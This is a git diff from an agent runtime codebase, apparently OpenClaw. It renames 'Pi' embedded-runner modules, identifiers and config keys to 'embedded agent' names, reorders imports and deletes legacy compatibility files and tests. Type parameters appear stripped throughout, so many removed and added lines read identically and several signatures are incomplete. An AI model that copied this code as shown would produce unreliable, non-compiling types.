(!allowedToolCallProviders.has(model.provider)) { @@ -1307,7 +1303,7 @@ function shouldLogOpenAIStrictToolDowngradeDiagnostic( return true; } -function createResponsesFirstEventTimeoutError(model: Model, timeoutMs: number): Error { +function createResponsesFirstEventTimeoutError(model: Model, timeoutMs: number): Error { return new Error( `Azure OpenAI Responses stream did not deliver a first event within ${timeoutMs}ms after HTTP streaming headers. ` + `provider=${model.provider} model=${model.id}. ` + @@ -1317,7 +1313,7 @@ function createResponsesFirstEventTimeoutError(model: Model, timeoutMs: num function withResponsesFirstEventTimeout( openaiStream: AsyncIterable, - model: Model, + model: Model, timeoutMs: number | undefined, ): AsyncIterable { if (timeoutMs === undefined || timeoutMs <= 0 || !Number.isFinite(timeoutMs)) { @@ -1366,7 +1362,7 @@ async function processResponsesStream( openaiStream: AsyncIterable, output: MutableAssistantOutput, stream: { push(event: unknown): void }, - model: Model, + model: Model, options?: { serviceTier?: ResponseCreateParamsStreaming["service_tier"]; applyServiceTierPricing?: ( @@ -1633,7 +1629,7 @@ function mapResponsesStopReason(status: string | undefined): string { } function buildOpenAIClientHeaders( - model: Model, + model: Model, context: Context, optionHeaders?: Record, turnHeaders?: Record, @@ -1663,7 +1659,7 @@ function buildOpenAIClientHeaders( } function resolveProviderTransportTurnState( - model: Model, + model: Model, params: { sessionId?: string; turnId: string; @@ -1685,17 +1681,17 @@ function resolveProviderTransportTurnState( }); } -function resolveOpenAISdkTimeoutMs(model: Model): number | undefined { +function resolveOpenAISdkTimeoutMs(model: Model): number | undefined { return resolveModelRequestTimeoutMs(model, undefined); } -function buildOpenAISdkClientOptions(model: Model): { timeout?: number } { +function buildOpenAISdkClientOptions(model: Model): { timeout?: number } { const timeout = resolveOpenAISdkTimeoutMs(model); return timeout === undefined ? {} : { timeout }; } function buildOpenAISdkRequestOptions( - model: Model, + model: Model, signal?: AbortSignal, ): { signal?: AbortSignal; timeout?: number } | undefined { const timeout = resolveOpenAISdkTimeoutMs(model); @@ -1709,7 +1705,7 @@ function buildOpenAISdkRequestOptions( } function createOpenAIResponsesClient( - model: Model, + model: Model, context: Context, apiKey: string, optionHeaders?: Record, @@ -1841,7 +1837,7 @@ function resolveCacheRetention(cacheRetention: string | undefined): "short" | "l if (cacheRetention === "short" || cacheRetention === "long" || cacheRetention === "none") { return cacheRetention; } - if (typeof process !== "undefined" && process.env.PI_CACHE_RETENTION === "long") { + if (typeof process !== "undefined" && process.env.OPENCLAW_CACHE_RETENTION === "long") { return "long"; } return "short"; @@ -1885,7 +1881,7 @@ function hasResponsesWebSearchTool(tools: unknown): boolean { } function raiseMinimalReasoningForResponsesWebSearch(params: { - model: Model; + model: Model; effort: OpenAIApiReasoningEffort; tools: unknown; }): OpenAIApiReasoningEffort { @@ -1904,7 +1900,7 @@ function raiseMinimalReasoningForResponsesWebSearch(params: { return params.effort; } -function isOpenAICodexResponsesModel(model: Model): boolean { +function isOpenAICodexResponsesModel(model: Model): boolean { return ( model.provider === "openai-codex" && (model.api === "openai-codex-responses" || model.api === "openclaw-openai-responses-transport") @@ -1936,7 +1932,7 @@ function isNativeOpenAICodexResponsesBaseUrl(baseUrl?: string): boolean { } } -function usesNativeOpenAICodexResponsesBackend(model: Model): boolean { +function usesNativeOpenAICodexResponsesBackend(model: Model): boolean { return isOpenAICodexResponsesModel(model) && isNativeOpenAICodexResponsesBaseUrl(model.baseUrl); } @@ -1964,7 +1960,7 @@ function stripOpenAICodexResponsesUnsupportedTextFields(params: Record>( - model: Model, + model: Model, params: T, ): T { if (!usesNativeOpenAICodexResponsesBackend(model)) { @@ -2018,7 +2014,7 @@ function resolveOpenAIResponsesTextFormat( } export function buildOpenAIResponsesParams( - model: Model, + model: Model, context: Context, options: OpenAIResponsesOptions | undefined, metadata?: Record, @@ -2243,7 +2239,7 @@ function normalizeAzureBaseUrl(baseUrl: string): string { return baseUrl.replace(/\/+$/, ""); } -function resolveAzureDeploymentName(model: Model): string { +function resolveAzureDeploymentName(model: Model): string { const deploymentMap = process.env.AZURE_OPENAI_DEPLOYMENT_NAME_MAP; if (deploymentMap) { for (const entry of deploymentMap.split(",")) { @@ -2257,7 +2253,7 @@ function resolveAzureDeploymentName(model: Model): string { } function createAzureOpenAIClient( - model: Model, + model: Model, context: Context, apiKey: string, optionHeaders?: Record, @@ -2275,7 +2271,7 @@ function createAzureOpenAIClient( } function buildAzureOpenAIResponsesParams( - model: Model, + model: Model, context: Context, options: OpenAIResponsesOptions | undefined, deploymentName: string, @@ -2297,7 +2293,7 @@ function hasToolHistory(messages: Context["messages"]): boolean { function assertOpenAICompletionsPayloadHasConversationTurn( params: Record, - model: Model, + model: Model, ): void { const messages = params.messages; if (!Array.isArray(messages) || hasOpenAICompatibleConversationTurn(messages)) { @@ -2309,7 +2305,7 @@ function assertOpenAICompletionsPayloadHasConversationTurn( } function createOpenAICompletionsClient( - model: Model, + model: Model, context: Context, apiKey: string, optionHeaders?: Record, @@ -2335,7 +2331,7 @@ function isAzureOpenAICompatibleHost(hostname: string): boolean { } function buildOpenAICompletionsClientConfig( - model: Model, + model: Model, context: Context, optionHeaders?: Record, ): { @@ -2453,7 +2449,7 @@ export function createOpenAICompletionsTransportStreamFn(): StreamFn { async function processOpenAICompletionsStream( responseStream: AsyncIterable, output: MutableAssistantOutput, - model: Model, + model: Model, stream: { push(event: unknown): void }, options?: { signal?: AbortSignal }, ) { @@ -3624,7 +3620,7 @@ export function buildOpenAICompletionsParams( export function parseTransportChunkUsage( rawUsage: NonNullable, - model: Model, + model: Model, ) { const cachedTokens = rawUsage.prompt_tokens_details?.cached_tokens || 0; const promptTokens = rawUsage.prompt_tokens || 0; diff --git a/src/agents/openclaw-owned-tool-runtime-contract.test.ts b/src/agents/openclaw-owned-tool-runtime-contract.test.ts index 3e73995b71c..1f275b6c3db 100644 --- a/src/agents/openclaw-owned-tool-runtime-contract.test.ts +++ b/src/agents/openclaw-owned-tool-runtime-contract.test.ts @@ -1,23 +1,23 @@ -import type { AgentTool } from "@earendil-works/pi-agent-core"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { installOpenClawOwnedToolHooks, resetOpenClawOwnedToolHooks, textToolResult, } from "openclaw/plugin-sdk/agent-runtime-test-contracts"; +import type { ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; import { afterEach, describe, expect, it, vi } from "vitest"; -import type { MessagingToolSend } from "./pi-embedded-messaging.types.js"; +import { toToolDefinitions } from "./agent-tool-definition-adapter.js"; +import { createBaseToolHandlerState } from "./agent-tool-handler-state.test-helpers.js"; +import { wrapToolWithBeforeToolCallHook } from "./agent-tools.before-tool-call.js"; +import type { MessagingToolSend } from "./embedded-agent-messaging.types.js"; import { handleToolExecutionEnd, handleToolExecutionStart, -} from "./pi-embedded-subscribe.handlers.tools.js"; +} from "./embedded-agent-subscribe.handlers.tools.js"; import type { ToolCallSummary, ToolHandlerContext, -} from "./pi-embedded-subscribe.handlers.types.js"; -import { toToolDefinitions } from "./pi-tool-definition-adapter.js"; -import { createBaseToolHandlerState } from "./pi-tool-handler-state.test-helpers.js"; -import { wrapToolWithBeforeToolCallHook } from "./pi-tools.before-tool-call.js"; +} from "./embedded-agent-subscribe.handlers.types.js"; function createContractTool(name: string, execute: AgentTool["execute"]): AgentTool { return { @@ -102,7 +102,7 @@ async function waitForAfterToolCall(hooks: { return call as [Record, Record]; } -describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { +describe("OpenClaw-owned tool runtime contract - embedded agent adapter", () => { afterEach(() => { resetOpenClawOwnedToolHooks(); }); @@ -120,7 +120,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { }); const definition = toToolDefinitions([tool])[0]; if (!definition) { - throw new Error("missing Pi tool definition"); + throw new Error("missing embedded agent tool definition"); } const ctx = createToolHandlerCtx(); const toolCallId = "call-contract"; @@ -168,7 +168,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { expect(afterContext.toolCallId).toBe(toolCallId); }); - it("reports Pi dynamic tool execution errors through after_tool_call", async () => { + it("reports embedded agent dynamic tool execution errors through after_tool_call", async () => { const adjustedParams = { timeoutSec: 1 }; const mergedParams = { command: "false", timeoutSec: 1 }; const hooks = installOpenClawOwnedToolHooks({ adjustedParams }); @@ -183,7 +183,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { }); const definition = toToolDefinitions([tool])[0]; if (!definition) { - throw new Error("missing Pi tool definition"); + throw new Error("missing embedded agent tool definition"); } const ctx = createToolHandlerCtx(); ctx.params.runId = "run-error"; @@ -229,7 +229,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { expect(afterContext.toolCallId).toBe(toolCallId); }); - it("commits successful Pi messaging text, media, and target telemetry", async () => { + it("commits successful embedded agent messaging text, media, and target telemetry", async () => { const hooks = installOpenClawOwnedToolHooks(); const execute = vi.fn(async () => textToolResult("sent")); const tool = wrapToolWithBeforeToolCallHook(createContractTool("message", execute), { @@ -240,15 +240,15 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { }); const definition = toToolDefinitions([tool])[0]; if (!definition) { - throw new Error("missing Pi tool definition"); + throw new Error("missing embedded agent tool definition"); } const ctx = createToolHandlerCtx(); ctx.params.runId = "run-message"; const toolCallId = "call-message"; const originalParams = { action: "send", - content: "hello from Pi", - mediaUrl: "/tmp/pi-reply.png", + content: "hello from embedded agent", + mediaUrl: "/tmp/openclaw-reply.png", provider: "telegram", to: "chat-1", }; @@ -278,8 +278,8 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { }), ); - expect(ctx.state.messagingToolSentTexts).toEqual(["hello from Pi"]); - expect(ctx.state.messagingToolSentMediaUrls).toEqual(["/tmp/pi-reply.png"]); + expect(ctx.state.messagingToolSentTexts).toEqual(["hello from embedded agent"]); + expect(ctx.state.messagingToolSentMediaUrls).toEqual(["/tmp/openclaw-reply.png"]); expect( ctx.state.messagingToolSentTargets.map((target) => ({ tool: "message", @@ -293,8 +293,8 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { tool: "message", provider: "telegram", to: "chat-1", - text: "hello from Pi", - mediaUrls: ["/tmp/pi-reply.png"], + text: "hello from embedded agent", + mediaUrls: ["/tmp/openclaw-reply.png"], }, ]); const [afterPayload, afterContext] = await waitForAfterToolCall(hooks); @@ -308,7 +308,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { expect(afterContext.toolCallId).toBe(toolCallId); }); - it("fails closed when before_tool_call blocks a Pi dynamic tool", async () => { + it("fails closed when before_tool_call blocks an embedded agent dynamic tool", async () => { const hooks = installOpenClawOwnedToolHooks({ blockReason: "blocked by policy" }); const execute = vi.fn(async () => textToolResult("should not run")); const tool = wrapToolWithBeforeToolCallHook(createContractTool("message", execute), { @@ -319,7 +319,7 @@ describe("OpenClaw-owned tool runtime contract — Pi adapter", () => { }); const definition = toToolDefinitions([tool])[0]; if (!definition) { - throw new Error("missing Pi tool definition"); + throw new Error("missing embedded agent tool definition"); } const ctx = createToolHandlerCtx(); ctx.params.runId = "run-blocked"; diff --git a/src/agents/openclaw-tools.nodes-workspace-guard.ts b/src/agents/openclaw-tools.nodes-workspace-guard.ts index eee4a665772..c4a48257bd8 100644 --- a/src/agents/openclaw-tools.nodes-workspace-guard.ts +++ b/src/agents/openclaw-tools.nodes-workspace-guard.ts @@ -1,4 +1,4 @@ -import { wrapToolWorkspaceRootGuardWithOptions } from "./pi-tools.read.js"; +import { wrapToolWorkspaceRootGuardWithOptions } from "./agent-tools.read.js"; import type { ToolFsPolicy } from "./tool-fs-policy.js"; import type { AnyAgentTool } from "./tools/common.js"; diff --git a/src/agents/openclaw-tools.sessions.test.ts b/src/agents/openclaw-tools.sessions.test.ts index 633f52556cb..69374162672 100644 --- a/src/agents/openclaw-tools.sessions.test.ts +++ b/src/agents/openclaw-tools.sessions.test.ts @@ -33,7 +33,10 @@ vi.mock("../config/config.js", () => ({ import "./test-helpers/fast-openclaw-tools-sessions.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; -import { testing as embeddedRunsTesting, setActiveEmbeddedRun } from "./pi-embedded-runner/runs.js"; +import { + testing as embeddedRunsTesting, + setActiveEmbeddedRun, +} from "./embedded-agent-runner/runs.js"; import { testing as agentStepTesting } from "./tools/agent-step.js"; import { createSessionsHistoryTool } from "./tools/sessions-history-tool.js"; import { createSessionsListTool } from "./tools/sessions-list-tool.js"; diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn.lifecycle.test.ts b/src/agents/openclaw-tools.subagents.sessions-spawn.lifecycle.test.ts index 6a4bc27c061..9953befb895 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn.lifecycle.test.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn.lifecycle.test.ts @@ -1,6 +1,10 @@ import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { AgentRouteBinding } from "../config/types.agents.js"; import { emitAgentEvent } from "../infra/agent-events.js"; +import { + testing as bundleMcpRuntimeTesting, + getOrCreateSessionMcpRuntime, +} from "./agent-bundle-mcp-tools.js"; import { getCallGatewayMock, getSessionsSpawnTool, @@ -13,10 +17,6 @@ import { setSessionsSpawnConfigOverride, waitForSessionsSpawnEvent, } from "./openclaw-tools.subagents.sessions-spawn.test-harness.js"; -import { - testing as bundleMcpRuntimeTesting, - getOrCreateSessionMcpRuntime, -} from "./pi-bundle-mcp-tools.js"; import { getLatestSubagentRunByChildSessionKey, resetSubagentRegistryForTests, diff --git a/src/agents/openclaw-tools.ts b/src/agents/openclaw-tools.ts index 71b8bc8db82..52023fa7f31 100644 --- a/src/agents/openclaw-tools.ts +++ b/src/agents/openclaw-tools.ts @@ -11,6 +11,11 @@ import { resolveTranscriptsConfig } from "../transcripts/config.js"; import { normalizeDeliveryContext } from "../utils/delivery-context.js"; import type { GatewayMessageChannel } from "../utils/message-channel.js"; import { resolveAgentWorkspaceDir, resolveSessionAgentIds } from "./agent-scope.js"; +import { + type HookContext, + isToolWrappedWithBeforeToolCallHook, + wrapToolWithBeforeToolCallHook, +} from "./agent-tools.before-tool-call.js"; import type { AuthProfileStore } from "./auth-profiles/types.js"; import { resolveOpenClawPluginToolsForOptions } from "./openclaw-plugin-tools.js"; import { @@ -24,11 +29,6 @@ import { collectPresentOpenClawTools, shouldIncludeUpdatePlanToolForOpenClawTools, } from "./openclaw-tools.registration.js"; -import { - type HookContext, - isToolWrappedWithBeforeToolCallHook, - wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; import type { SpawnedToolContext } from "./spawned-context.js"; import type { ToolFsPolicy } from "./tool-fs-policy.js"; diff --git a/src/agents/openclaw-tools.update-plan.test.ts b/src/agents/openclaw-tools.update-plan.test.ts index 29cb1a19540..65e5c87c3c9 100644 --- a/src/agents/openclaw-tools.update-plan.test.ts +++ b/src/agents/openclaw-tools.update-plan.test.ts @@ -1,12 +1,12 @@ import { afterEach, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { setEmbeddedMode } from "../infra/embedded-mode.js"; +import { isToolWrappedWithBeforeToolCallHook } from "./agent-tools.before-tool-call.js"; import { createOpenClawTools } from "./openclaw-tools.js"; import { isUpdatePlanToolEnabledForOpenClawTools, shouldIncludeUpdatePlanToolForOpenClawTools, } from "./openclaw-tools.registration.js"; -import { isToolWrappedWithBeforeToolCallHook } from "./pi-tools.before-tool-call.js"; import { createUpdatePlanTool } from "./tools/update-plan-tool.js"; type UpdatePlanGatingParams = Parameters[0]; @@ -247,7 +247,7 @@ describe("openclaw-tools update_plan gating", () => { const cfg = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, @@ -276,7 +276,7 @@ describe("openclaw-tools update_plan gating", () => { const cfg = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -291,7 +291,7 @@ describe("openclaw-tools update_plan gating", () => { const cfg = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -315,7 +315,7 @@ describe("openclaw-tools update_plan gating", () => { }, agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -330,7 +330,7 @@ describe("openclaw-tools update_plan gating", () => { const cfg = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, @@ -338,7 +338,7 @@ describe("openclaw-tools update_plan gating", () => { { id: "main" }, { id: "research", - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, @@ -353,14 +353,14 @@ describe("openclaw-tools update_plan gating", () => { const cfg = { agents: { defaults: { - embeddedPi: { + embeddedAgent: { executionContract: "strict-agentic", }, }, list: [ { id: "main", - embeddedPi: { + embeddedAgent: { executionContract: "default", }, }, diff --git a/src/agents/outcome-fallback-runtime-contract.test.ts b/src/agents/outcome-fallback-runtime-contract.test.ts index a986cf2af71..f63323648e4 100644 --- a/src/agents/outcome-fallback-runtime-contract.test.ts +++ b/src/agents/outcome-fallback-runtime-contract.test.ts @@ -3,8 +3,9 @@ import { OUTCOME_FALLBACK_RUNTIME_CONTRACT, } from "openclaw/plugin-sdk/agent-runtime-test-contracts"; import { beforeAll, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "./embedded-agent-runner/result-fallback-classifier.js"; import { runWithModelFallback } from "./model-fallback.js"; -import { classifyEmbeddedPiRunResultForModelFallback } from "./pi-embedded-runner/result-fallback-classifier.js"; vi.mock("./auth-profiles/source-check.js", () => ({ hasAnyAuthProfileStoreSource: () => false, @@ -14,7 +15,7 @@ const contractFallbackOverride = [ `${OUTCOME_FALLBACK_RUNTIME_CONTRACT.fallbackProvider}/${OUTCOME_FALLBACK_RUNTIME_CONTRACT.fallbackModel}`, ]; -describe("Outcome/fallback runtime contract - Pi fallback classifier", () => { +describe("Outcome/fallback runtime contract - embedded runtime fallback classifier", () => { beforeAll(async () => { await runWithModelFallback({ cfg: undefined, @@ -35,7 +36,7 @@ describe("Outcome/fallback runtime contract - Pi fallback classifier", () => { it.each(fallbackClassificationCases)( "maps harness classification %s to a format fallback code", (classification, code) => { - const fallback = classifyEmbeddedPiRunResultForModelFallback({ + const fallback = classifyEmbeddedAgentRunResultForModelFallback({ provider: OUTCOME_FALLBACK_RUNTIME_CONTRACT.primaryProvider, model: OUTCOME_FALLBACK_RUNTIME_CONTRACT.primaryModel, result: createContractRunResult({ @@ -73,7 +74,7 @@ describe("Outcome/fallback runtime contract - Pi fallback classifier", () => { fallbacksOverride: contractFallbackOverride, run, classifyResult: ({ provider, model, result }) => - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider, model, result, @@ -166,7 +167,7 @@ describe("Outcome/fallback runtime contract - Pi fallback classifier", () => { it("does not classify terminal results with visible output or side effects as fallbacks", () => { for (const contractCase of nonFallbackCases) { expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: OUTCOME_FALLBACK_RUNTIME_CONTRACT.primaryProvider, model: OUTCOME_FALLBACK_RUNTIME_CONTRACT.primaryModel, result: contractCase.result, @@ -187,7 +188,7 @@ describe("Outcome/fallback runtime contract - Pi fallback classifier", () => { fallbacksOverride: contractFallbackOverride, run, classifyResult: ({ provider, model, result }) => - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider, model, result, diff --git a/src/agents/pi-embedded-runner.ts b/src/agents/pi-embedded-runner.ts deleted file mode 100644 index e8248dff642..00000000000 --- a/src/agents/pi-embedded-runner.ts +++ /dev/null @@ -1,41 +0,0 @@ -export { - compactEmbeddedPiSession, - compactEmbeddedPiSession as compactEmbeddedAgentSession, -} from "./pi-embedded-runner/compact.queued.js"; -export { applyExtraParamsToAgent } from "./pi-embedded-runner/extra-params.js"; - -export { resolveEmbeddedSessionLane } from "./pi-embedded-runner/lanes.js"; -export { - runEmbeddedPiAgent, - runEmbeddedPiAgent as runEmbeddedAgent, -} from "./pi-embedded-runner/run.js"; -export { - abortAndDrainEmbeddedPiRun, - abortEmbeddedPiRun, - abortEmbeddedPiRun as abortEmbeddedAgentRun, - isEmbeddedPiRunActive, - isEmbeddedPiRunActive as isEmbeddedAgentRunActive, - isEmbeddedPiRunStreaming, - isEmbeddedPiRunStreaming as isEmbeddedAgentRunStreaming, - queueEmbeddedPiMessage, - queueEmbeddedPiMessage as queueEmbeddedAgentMessage, - queueEmbeddedPiMessageWithOutcome, - resolveActiveEmbeddedRunSessionIdBySessionFile, - resolveActiveEmbeddedRunSessionId, - resolveActiveEmbeddedRunSessionId as resolveActiveEmbeddedAgentRunSessionId, - waitForEmbeddedPiRunEnd, - waitForEmbeddedPiRunEnd as waitForEmbeddedAgentRunEnd, -} from "./pi-embedded-runner/runs.js"; -export { buildEmbeddedSandboxInfo } from "./pi-embedded-runner/sandbox-info.js"; -export { createSystemPromptOverride } from "./pi-embedded-runner/system-prompt.js"; -export { splitSdkTools } from "./pi-embedded-runner/tool-split.js"; -export type { - EmbeddedPiAgentMeta as EmbeddedAgentMeta, - EmbeddedPiAgentMeta, - EmbeddedPiCompactResult as EmbeddedAgentCompactResult, - EmbeddedPiCompactResult, - EmbeddedPiRunMeta as EmbeddedAgentRunMeta, - EmbeddedPiRunMeta, - EmbeddedPiRunResult as EmbeddedAgentRunResult, - EmbeddedPiRunResult, -} from "./pi-embedded-runner/types.js"; diff --git a/src/agents/pi-embedded-runner/aliases.test.ts b/src/agents/pi-embedded-runner/aliases.test.ts deleted file mode 100644 index 272fa61d97b..00000000000 --- a/src/agents/pi-embedded-runner/aliases.test.ts +++ /dev/null @@ -1,17 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - abortEmbeddedAgentRun, - abortEmbeddedPiRun, - compactEmbeddedAgentSession, - compactEmbeddedPiSession, - runEmbeddedAgent, - runEmbeddedPiAgent, -} from "../pi-embedded-runner.js"; - -describe("embedded runner compatibility aliases", () => { - it("keeps neutral embedded-agent aliases bound to the PI compatibility exports", () => { - expect(runEmbeddedAgent).toBe(runEmbeddedPiAgent); - expect(compactEmbeddedAgentSession).toBe(compactEmbeddedPiSession); - expect(abortEmbeddedAgentRun).toBe(abortEmbeddedPiRun); - }); -}); diff --git a/src/agents/pi-embedded-runner/anthropic-cache-control-payload.ts b/src/agents/pi-embedded-runner/anthropic-cache-control-payload.ts deleted file mode 100644 index b06c10d1849..00000000000 --- a/src/agents/pi-embedded-runner/anthropic-cache-control-payload.ts +++ /dev/null @@ -1 +0,0 @@ -export { applyAnthropicEphemeralCacheControlMarkers } from "../anthropic-payload-policy.js"; diff --git a/src/agents/pi-embedded-runner/compact.runtime.ts b/src/agents/pi-embedded-runner/compact.runtime.ts deleted file mode 100644 index eeb9137c796..00000000000 --- a/src/agents/pi-embedded-runner/compact.runtime.ts +++ /dev/null @@ -1,15 +0,0 @@ -import { createLazyImportLoader } from "../../shared/lazy-promise.js"; -import type { CompactEmbeddedPiSessionDirect } from "./compact.runtime.types.js"; - -const compactRuntimeLoader = createLazyImportLoader(() => import("./compact.js")); - -function loadCompactRuntime() { - return compactRuntimeLoader.load(); -} - -export async function compactEmbeddedPiSessionDirect( - ...args: Parameters -): ReturnType { - const { compactEmbeddedPiSessionDirect } = await loadCompactRuntime(); - return compactEmbeddedPiSessionDirect(...args); -} diff --git a/src/agents/pi-embedded-runner/compact.runtime.types.ts b/src/agents/pi-embedded-runner/compact.runtime.types.ts deleted file mode 100644 index 1d554dae461..00000000000 --- a/src/agents/pi-embedded-runner/compact.runtime.types.ts +++ /dev/null @@ -1,6 +0,0 @@ -import type { CompactEmbeddedPiSessionParams } from "./compact.types.js"; -import type { EmbeddedPiCompactResult } from "./types.js"; - -export type CompactEmbeddedPiSessionDirect = ( - params: CompactEmbeddedPiSessionParams, -) => Promise; diff --git a/src/agents/pi-embedded-runner/model-context-tokens.ts b/src/agents/pi-embedded-runner/model-context-tokens.ts deleted file mode 100644 index 31d2e601564..00000000000 --- a/src/agents/pi-embedded-runner/model-context-tokens.ts +++ /dev/null @@ -1,11 +0,0 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import { asFiniteNumber } from "../../shared/number-coercion.js"; - -type PiModelWithOptionalContextTokens = Model & { - contextTokens?: number; -}; - -export function readPiModelContextTokens(model: Model | null | undefined): number | undefined { - const value = (model as PiModelWithOptionalContextTokens | null | undefined)?.contextTokens; - return asFiniteNumber(value); -} diff --git a/src/agents/pi-embedded-runner/model.provider-normalization.ts b/src/agents/pi-embedded-runner/model.provider-normalization.ts deleted file mode 100644 index f73b85ff2e2..00000000000 --- a/src/agents/pi-embedded-runner/model.provider-normalization.ts +++ /dev/null @@ -1,9 +0,0 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import { normalizeModelCompat } from "../../plugins/provider-model-compat.js"; - -export function normalizeResolvedProviderModel(params: { - provider: string; - model: Model; -}): Model { - return normalizeModelCompat(params.model); -} diff --git a/src/agents/pi-embedded-runner/run/backend.test.ts b/src/agents/pi-embedded-runner/run/backend.test.ts deleted file mode 100644 index 415caa5f23a..00000000000 --- a/src/agents/pi-embedded-runner/run/backend.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { resolveEmbeddedAgentRuntime } from "../runtime.js"; - -describe("resolveEmbeddedAgentRuntime", () => { - it("uses PI mode by default", () => { - expect(resolveEmbeddedAgentRuntime({})).toBe("pi"); - }); - - it("accepts the PI kill switch", () => { - expect(resolveEmbeddedAgentRuntime({ OPENCLAW_AGENT_RUNTIME: "pi" })).toBe("pi"); - }); - - it("canonicalizes legacy Codex app-server runtime ids", () => { - expect(resolveEmbeddedAgentRuntime({ OPENCLAW_AGENT_RUNTIME: "codex" })).toBe("codex"); - expect(resolveEmbeddedAgentRuntime({ OPENCLAW_AGENT_RUNTIME: "codex-app-server" })).toBe( - "codex", - ); - }); - - it("accepts auto mode", () => { - expect(resolveEmbeddedAgentRuntime({ OPENCLAW_AGENT_RUNTIME: "auto" })).toBe("auto"); - }); - - it("preserves plugin harness runtime ids", () => { - expect(resolveEmbeddedAgentRuntime({ OPENCLAW_AGENT_RUNTIME: "custom-harness" })).toBe( - "custom-harness", - ); - }); -}); diff --git a/src/agents/pi-embedded-runner/runtime.ts b/src/agents/pi-embedded-runner/runtime.ts deleted file mode 100644 index d85ac76e296..00000000000 --- a/src/agents/pi-embedded-runner/runtime.ts +++ /dev/null @@ -1,24 +0,0 @@ -export type EmbeddedAgentRuntime = "pi" | "auto" | (string & {}); - -export function normalizeEmbeddedAgentRuntime(raw: string | undefined): EmbeddedAgentRuntime { - const value = raw?.trim(); - if (!value) { - return "pi"; - } - if (value === "pi") { - return "pi"; - } - if (value === "auto") { - return "auto"; - } - if (value === "codex-app-server") { - return "codex"; - } - return value; -} - -export function resolveEmbeddedAgentRuntime( - env: NodeJS.ProcessEnv = process.env, -): EmbeddedAgentRuntime { - return normalizeEmbeddedAgentRuntime(env.OPENCLAW_AGENT_RUNTIME?.trim()); -} diff --git a/src/agents/pi-embedded.runtime.ts b/src/agents/pi-embedded.runtime.ts deleted file mode 100644 index c9feed67da1..00000000000 --- a/src/agents/pi-embedded.runtime.ts +++ /dev/null @@ -1,11 +0,0 @@ -export { - abortAndDrainEmbeddedPiRun, - abortEmbeddedPiRun, - isEmbeddedPiRunActive, - isEmbeddedPiRunStreaming, - resolveActiveEmbeddedRunSessionId, - resolveActiveEmbeddedRunSessionIdBySessionFile, - runEmbeddedPiAgent, - resolveEmbeddedSessionLane, - waitForEmbeddedPiRunEnd, -} from "./pi-embedded.js"; diff --git a/src/agents/pi-model-discovery-runtime.ts b/src/agents/pi-model-discovery-runtime.ts deleted file mode 100644 index 0adcebce8ec..00000000000 --- a/src/agents/pi-model-discovery-runtime.ts +++ /dev/null @@ -1,10 +0,0 @@ -export { - AuthStorage, - addEnvBackedPiCredentials, - discoverAuthStorage, - discoverModels, - ModelRegistry, - normalizeDiscoveredPiModel, - resolvePiCredentialsForDiscovery, - scrubLegacyStaticAuthJsonEntriesForDiscovery, -} from "./pi-model-discovery.js"; diff --git a/src/agents/pi-model-discovery.compat.e2e.test.ts b/src/agents/pi-model-discovery.compat.e2e.test.ts deleted file mode 100644 index 51054bf50cc..00000000000 --- a/src/agents/pi-model-discovery.compat.e2e.test.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; - -describe("pi-model-discovery module compatibility", () => { - afterEach(() => { - vi.doUnmock("@earendil-works/pi-coding-agent"); - }); - - it("loads when InMemoryAuthStorageBackend is not exported", async () => { - vi.resetModules(); - vi.doMock("@earendil-works/pi-coding-agent", () => { - function MockAuthStorage() {} - function MockModelRegistry() {} - - return { - AuthStorage: MockAuthStorage, - ModelRegistry: MockModelRegistry, - }; - }); - - const module = await import("./pi-model-discovery.js"); - expect(typeof module.discoverAuthStorage).toBe("function"); - expect(typeof module.discoverModels).toBe("function"); - }); -}); diff --git a/src/agents/pi-model-discovery.ts b/src/agents/pi-model-discovery.ts deleted file mode 100644 index bb8e7bc7be8..00000000000 --- a/src/agents/pi-model-discovery.ts +++ /dev/null @@ -1,267 +0,0 @@ -import path from "node:path"; -import type { Api, Model } from "@earendil-works/pi-ai"; -import * as PiCodingAgent from "@earendil-works/pi-coding-agent"; -import type { - AuthStorage as PiAuthStorage, - ModelRegistry as PiModelRegistry, -} from "@earendil-works/pi-coding-agent"; -import { normalizeModelCompat } from 